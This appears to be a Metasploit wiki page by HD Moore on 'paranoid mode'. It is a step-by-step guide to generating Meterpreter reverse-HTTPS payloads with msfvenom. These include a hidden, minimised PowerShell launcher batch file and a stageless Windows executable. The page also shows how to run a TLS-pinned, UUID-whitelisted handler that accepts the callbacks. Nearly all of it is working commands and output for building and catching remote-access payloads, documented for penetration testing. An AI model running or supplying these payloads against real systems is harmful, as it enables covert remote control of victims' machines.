Meterpreter Paranoid Mode

Jump to bottom

HD Moore edited this page on Jun 30, 2015 · 8 revisions

In some scenarios, it pays to be paranoid. This also applies to generating and handling Meterpreter sessions. This document walks through the process of implementing a paranoid Meterpreter payload and listener.

Create a SSL/TLS Certificate

For best results, use a SSL/TLS certificate signed by a trusted certificate authority. Failing that, you can still generate a self-signed unified PEM using the following command:

```
$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
    -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=www.example.com" \
    -keyout www.example.com.key \
    -out www.example.com.crt && \
cat www.example.com.key  www.example.com.crt > www.example.com.pem && \
rm -f www.example.com.key  www.example.com.crt
```

Create a Paranoid Payload

For this use case, we will combine Payload UUID tracking and whitelisting with TLS pinning. For a staged payload, we will use the following command:

```
$ ./msfvenom -p windows/meterpreter/reverse_winhttps LHOST=www.example.com LPORT=443
PayloadUUIDTracking=true HandlerSSLCert=./www.example.com.pem StagerVerifySSLCert=true
PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o launch-paranoid.bat

$ head launch-paranoid.bat
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e
aQBmACgAWwBJAG4AdABQAHQAcg...
```

A stageless version of this would look like the following:

```
$ ./msfvenom -p windows/meterpreter_reverse_https LHOST=www.example.com LPORT=443
PayloadUUIDTracking=true HandlerSSLCert=./www.example.com.pem StagerVerifySSLCert=true
PayloadUUIDName=ParanoidStagedStageless -f exe -o launch-paranoid-stageless.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 885314 bytes
Saved as: launch-paranoid-stageless.exe
```

Create a Paranoid Listener

A staged payload would need to set the `HandlerSSLCert` and `StagerVerifySSLCert` options to enable TLS pinning and `IgnoreUnknownPayloads` to whitelist registered payload UUIDs:

```
$ ./msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse_winhttps; set LHOST www.example.com; set LPORT 443; set
HandlerSSLCert ./www.example.com.pem; set IgnoreUnknownPayloads true; set
StagerVerifySSLCert true; run -j'
```

A stageless version is only slightly different:

```
$ ./msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD
windows/meterpreter_reverse_https; set LHOST www.example.com; set LPORT 443; set
HandlerSSLCert ./www.example.com.pem; set IgnoreUnknownPayloads true; set
StagerVerifySSLCert true; run -j'
```

```
https://github.com/rapid7/metasploit-framework.wiki.git
```